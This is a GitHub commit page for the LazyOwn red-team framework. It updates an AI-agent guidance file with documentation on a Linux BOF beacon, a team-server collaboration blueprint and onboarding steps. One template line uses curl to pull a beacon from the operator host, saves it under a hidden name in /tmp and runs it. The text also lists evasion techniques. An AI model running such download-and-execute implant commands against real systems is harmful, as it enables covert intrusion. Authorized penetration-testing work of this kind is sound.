Skip to content

Commit c826a81

Browse files
committed
docs(docs): CLAUDE.md update with beacon family, collab, and onboarding \n\n Version: release/0.2.118 \n\n add sections 15c-15e covering blacksandbeacon Linux BOF, collab_bp team server, and QUICKSTART onboarding; update repository map, C2 surface, sessions table, and cheatsheet \n\n LazyOwn on HackTheBox: https://app.hackthebox.com/teams/overview/6429 \n\n LazyOwn/ https://grisuno.github.io/LazyOwn/ \n\n \n\n Fecha: vie 15 may 2026 16:11:13 -04 \n\n Hora: 1778875873
1 parent 797745e commit c826a81

6 files changed

Lines changed: 2182 additions & 1978 deletions

File tree

CHANGELOG.md

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,13 @@
22
# Changelog
33

44

5+
### Documentación
6+
7+
### Otros
8+
9+
* * docs(docs): CLAUDE.md update with beacon family, collab, and onboarding \n\n Version: release/0.2.118 \n\n add sections 15c-15e covering blacksandbeacon Linux BOF, collab_bp team server, and QUICKSTART onboarding; update repository map, C2 surface, sessions table, and cheatsheet \n\n LazyOwn on HackTheBox: https://app.hackthebox.com/teams/overview/6429 \n\n LazyOwn/ https://grisuno.github.io/LazyOwn/ \n\n \n\n Fecha: vie 15 may 2026 16:11:13 -04 \n\n Hora: 1778875873
10+
11+
512
### Nuevas características
613

714
### Otros

CLAUDE.md

Lines changed: 167 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -17,9 +17,9 @@ LazyOwn is a professional **red team / penetration testing framework**. It bundl
1717

1818
- A **cmd2-based interactive CLI** (`lazyown.py`) with 333+ attack commands and
1919
200+ aliases covering the full kill chain.
20-
- A **Flask + Jinja2 + Socket.IO C2 server** (`lazyc2.py`) with 84 routes, 54
21-
templates, malleable HTTP profiles, an XOR-stub Go beacon, and a phishing
22-
module backed by SQLite + Groq AI.
20+
- A **Flask + Jinja2 + Socket.IO C2 server** (`lazyc2.py`) with 84+ routes, 55+
21+
templates, malleable HTTP profiles, an XOR-stub Go beacon, a multi-operator
22+
collaboration layer (`/collab/`), and a phishing module backed by SQLite + Groq AI.
2323
- A shared **utility layer** (`utils.py`) with ~138 helpers: payload loading, ANSI
2424
output, prompt rendering, key/cert generation, NVD/ExploitAlert/PacketStorm
2525
scrapers, ARP spoofing primitives, etc.
@@ -29,6 +29,9 @@ LazyOwn is a professional **red team / penetration testing framework**. It bundl
2929
- An **extension layer**: `lazyaddons/*.yaml` (declarative tool integration),
3030
`plugins/*.lua` (Lua scripting via lupa), and `tools/*.tool` (pwntomate
3131
service-triggered jobs).
32+
- A **Linux BOF beacon family** (`lazyaddons/blacksandbeacon.yaml` +
33+
`lazyaddons/blacksandbeacon_bof.yaml`) — the only open-source C2 with
34+
Linux Beacon Object File support via ELF `dlopen` injection.
3235

3336
The **MCP layer sits on top of everything** and exposes ~95 `lazyown_*` tools to
3437
Claude Code. The CLI uses **cmd2**. The C2 uses **Flask** with **Jinja2**.
@@ -94,6 +97,7 @@ change that affects `skills/lazyown_mcp.py` or modules imported at startup.
9497
| `tools/` | pwntomate `.tool` files auto-applied to nmap-discovered services. |
9598
| `external/` | Vendored upstreams (atomic-red-team, etc.). |
9699
| `lazyscripts/` | `.ls` scripts — small recipes loaded with `run_script`. |
100+
| `QUICKSTART.md` | Canonical 5-minute onboarding guide (clone → wizard → recon → C2 → beacon → collab). **Do not auto-generate**; update manually when the operator flow changes. |
97101

98102
---
99103

@@ -257,6 +261,11 @@ implementation of the CLI.
257261
and a JSON dashboard at `/api/dashboard`.
258262
- Blueprints registered at runtime: `phishing_bp`, `dashboard_bp` (under
259263
`/dashboard`), `collab_bp` (under `/collab`).
264+
- Before registering `collab_bp`, `lazyc2.py` injects
265+
`app.config["LAZYOWN_CONFIG"] = config` so the blueprint can read `lhost` and
266+
`c2_port` via `current_app.config.get("LAZYOWN_CONFIG")` without importing
267+
`utils.py` directly. This is the approved pattern for blueprints that need
268+
payload values — do not pass them as module-level globals.
260269
- Auth: HTTP Basic via `requires_auth` (uses `c2_user` / `c2_pass`) plus
261270
`flask-login` for the operator UI.
262271
- DNS server: `dnslib`-based custom resolver started in a daemon thread.
@@ -397,6 +406,8 @@ Conventions (consumers depend on these exact names):
397406
| `policy_facts.json` | policy engine | dashboard |
398407
| `captured_images/` | decoy site | operator review |
399408
| `keyword_fallback_index.json` | rag fallback when ChromaDB absent | rag_query |
409+
| `blacksandbeacon` | `blacksandbeacon` addon (`make`) | collab_join delivery, manual drop on target |
410+
| `bof_loader` | `blacksandbeacon_bof` addon (`make bof`) | manual BOF delivery to live beacon session |
400411

401412
Before any tool runs:
402413
1. `ls sessions/` to see what already exists.
@@ -586,6 +597,10 @@ lazyown_hive_spawn(goal="…", n_drones=4, roles=["recon","exploit","cred","late
586597
lazyown_generate_report(target="10.10.11.5", include_timeline=True)
587598
lazyown_report_update(action="auto_fill")
588599
lazyown_misp_export()
600+
601+
# Multi-operator collaboration (CLI)
602+
collab_join <handle> # print team dashboard URL + SSE endpoint
603+
collab_join alice --curl # also print curl SSE command
589604
```
590605

591606
---
@@ -705,8 +720,157 @@ Requires `pip install textual` (added to `install.sh` and `requirements`).
705720

706721
---
707722

723+
## 15c. Beacon family — Linux BOF (`blacksandbeacon`)
724+
725+
LazyOwn ships two beacon lines. Pick the right one for the engagement:
726+
727+
| Beacon | File | OS | BOF | Notes |
728+
|--------|------|----|-----|-------|
729+
| Go beacon | built-in (`do_lazymsfvenom`, `lazyc2`) | Win/Lin/Mac | No | XOR-encoded two-stage; AES-256 C2 channel; Garble-obfuscated |
730+
| Windows C beacon | `lazyaddons/beacon.yaml` | Windows | Yes (Early Bird APC) | Pairs with malleable C2 profile; NT Native API |
731+
| **Linux C beacon** | **`lazyaddons/blacksandbeacon.yaml`** | **Linux** | **Yes (ELF dlopen)** | **Only open-source Linux BOF; direct syscalls** |
732+
| Linux BOF loader | `lazyaddons/blacksandbeacon_bof.yaml` | Linux || Delivers compiled `.so` BOF to a live beacon session |
733+
| ARM beacon | `blackzincbeacon` (external) | ARM/IoT | Planned | Embedded targets |
734+
735+
### Linux BOF contract
736+
737+
- BOFs compile as position-independent ELF shared objects:
738+
`gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c`
739+
- The `datap` API (`BeaconDataParse`, `BeaconDataInt`, `BeaconDataExtract`,
740+
`BeaconPrintf`, `BeaconOutput`) is source-compatible with Windows BOF — port
741+
by replacing Win32 calls with Linux syscalls or libc equivalents.
742+
- The beacon loads BOFs at runtime via `dlopen`; no new process, no disk write
743+
after delivery.
744+
745+
### Addon YAML pattern (for both beacons)
746+
747+
```yaml
748+
install_command: make
749+
execute_command: git restore . ; git pull ; make && cp <binary> ../../../sessions/<binary>
750+
lazycommand: curl -sk "http://{lhost}:{lport}/<binary>" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &
751+
```
752+
753+
Key rules:
754+
- Always `git restore . ; git pull` before `make` so the binary is fresh.
755+
- Stage artefacts to `sessions/<binary>` — the C2 serves them from there.
756+
- `lazycommand` uses `{lhost}` and `{lport}` placeholders — never hardcode.
757+
- `download_file` names the path on the target side (for reference in docs only).
758+
759+
### Tests
760+
761+
`tests/test_blacksandbeacon_addon.py` — 59 tests covering: YAML structure,
762+
required fields, tool section keys, path safety (no `../` traversal), category,
763+
params contract, `{lhost}`/`{lport}` template placeholders, `sessions/` staging,
764+
`git restore + pull` before build, description quality, no hardcoded IPs/ports.
765+
766+
---
767+
768+
## 15d. Multi-operator collaboration — `collab_bp`
769+
770+
`modules/collab_bp.py` is a Flask blueprint providing real-time team server
771+
functionality. It activates automatically when `lazyc2.py` starts.
772+
773+
### Architecture (SOLID)
774+
775+
| Class | Responsibility |
776+
|-------|---------------|
777+
| `EventBus` | In-process SSE pub/sub; per-subscriber `Queue`; replays last 20 events on join |
778+
| `LockManager` | Advisory per-target locks with TTL expiry; prevents two operators running tools against the same host |
779+
| `OperatorRegistry` | Tracks connected operators; marks stale (> 90 s without heartbeat) as inactive |
780+
| `ColabEvent` | Value object: `type`, `payload`, `operator`, `ts`, `id` |
781+
782+
Module-level singletons (`_bus`, `_locks`, `_registry`) are injected into the
783+
blueprint via closure. Other modules broadcast events with:
784+
```python
785+
from collab_bp import publish_event
786+
publish_event(type="finding", payload={"target": "...", "detail": "..."}, operator="alice")
787+
```
788+
789+
### Endpoints
790+
791+
| Endpoint | Method | Description |
792+
|---|---|---|
793+
| `/collab/` | GET | Full-screen browser dashboard (`templates/collab.html`) |
794+
| `/collab/stream?operator=<name>` | GET (SSE) | Real-time event stream; keepalive every 15 s |
795+
| `/collab/operators` | GET | Active operator list + join timestamps |
796+
| `/collab/publish` | POST | Broadcast a structured event (type, payload, operator) |
797+
| `/collab/lock` | POST | Acquire advisory target lock (body: target, operator, ttl_secs) |
798+
| `/collab/unlock` | POST | Release target lock |
799+
| `/collab/locks` | GET | All active locks with operator and TTL |
800+
| `/collab/history?n=N` | GET | Last N events (max 500) |
801+
802+
### `templates/collab.html`
803+
804+
Extends `base.html`. Renders: operator presence panel, target lock UI (acquire /
805+
release), real-time event feed (SSE), chat broadcast input, and a copyable join
806+
URL. Reads `c2_host` and `join_url` from the Flask context injected by the UI
807+
route. No hardcoded IPs — all values come from `payload.json` via
808+
`app.config["LAZYOWN_CONFIG"]`.
809+
810+
### `LAZYOWN_CONFIG` injection pattern
811+
812+
`lazyc2.py` sets `app.config["LAZYOWN_CONFIG"] = config` immediately before
813+
`app.register_blueprint(collab_bp, ...)`. The blueprint reads it with:
814+
```python
815+
cfg = current_app.config.get("LAZYOWN_CONFIG", {})
816+
lhost = cfg.get("lhost", "localhost") if hasattr(cfg, "get") else getattr(cfg, "lhost", "localhost")
817+
```
818+
The `hasattr` guard handles both plain `dict` (tests) and `Config` objects
819+
(production). **This is the canonical pattern for blueprints that need payload
820+
values.** Do not pass `config` as a module-level import from `lazyc2.py`.
821+
822+
### `do_collab_join` CLI command
823+
824+
Added to `lazyown.py`, category `10. Command & Control`. Usage:
825+
```
826+
collab_join [handle] [--curl]
827+
```
828+
Reads `lhost` and `c2_port` from `self.params` and prints the team dashboard
829+
URL, SSE stream URL, and all REST endpoints. `--curl` adds a ready-to-paste
830+
`curl --insecure -N` command for terminal SSE consumption.
831+
832+
### Tests
833+
834+
`tests/test_collab_and_onboarding.py` — 67 tests covering: `EventBus`
835+
(publish/subscribe, history replay, queue overflow), `LockManager` (acquire,
836+
deny, re-acquire, TTL expiry, release), `OperatorRegistry` (join, leave,
837+
heartbeat, stale expiry), all 8 Flask HTTP endpoints, `collab.html` template
838+
content, `QUICKSTART.md` completeness, wizard DIP contract, and `collab_join`
839+
CLI command structure.
840+
841+
---
842+
843+
## 15e. Onboarding — `QUICKSTART.md` + `wizard`
844+
845+
### `QUICKSTART.md`
846+
847+
Canonical operator onboarding document. **Manually maintained** — update it
848+
whenever the operator flow changes (new step required, command renamed, etc.).
849+
Structure:
850+
1. Prerequisites (OS, Python, SecLists)
851+
2. Clone + `bash install.sh`
852+
3. `wizard` — 7-step guided setup (rhost, lhost, domain, device, os_id, api_key, wordlists)
853+
4. Recon (`ping` → `lazynmap` → `auto_populate` → `facts_show`)
854+
5. C2 (`fast_run_as_r00t.sh` or `lazyc2`)
855+
6. First shell (Go beacon or `blacksandbeacon` Linux C beacon)
856+
7. Invite teammates (`collab_join`)
857+
8. Command reference table + key files table + troubleshooting
858+
859+
### `cli/wizard.py` contract
860+
861+
The wizard must **never** import `lazyown.py` or `lazyc2.py` (Dependency
862+
Inversion). It takes a `params: dict` and a `save: Callable` — it never
863+
touches `payload.json` directly. All output goes through `rich`. Auto-detects
864+
`lhost` from the routing table and SecLists paths from known candidate dirs.
865+
866+
Run from the CLI: `wizard` or `wizard --check` (readiness summary only).
867+
The shell calls `wizard` automatically on first launch when `rhost` is unset.
868+
869+
---
870+
708871
## 16. Read these next
709872

873+
- `QUICKSTART.md` — **start here for a new operator session** — 5-minute clone-to-shell guide.
710874
- `README.md` — public-facing feature list (long, marketing-flavoured).
711875
- `COMMANDS.md` — exhaustive list of every CLI command.
712876
- `UTILS.md` — auto-generated reference for `utils.py`.

README.md

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12971,6 +12971,13 @@ No description available.
1297112971
# Changelog
1297212972

1297312973

12974+
### Nuevas características
12975+
12976+
### Otros
12977+
12978+
* * feat(feat): gap2 team server UI and gap3 onboarding quickstart \n\n Version: release/0.2.118 \n\n add collab.html team dashboard, collab_join CLI cmd, QUICKSTART.md and 67 tests \n\n LazyOwn on HackTheBox: https://app.hackthebox.com/teams/overview/6429 \n\n LazyOwn/ https://grisuno.github.io/LazyOwn/ \n\n \n\n Fecha: vie 15 may 2026 16:07:58 -04 \n\n Hora: 1778875678
12979+
12980+
1297412981
### Nuevas características
1297512982

1297612983
### Otros

0 commit comments

Comments
 (0)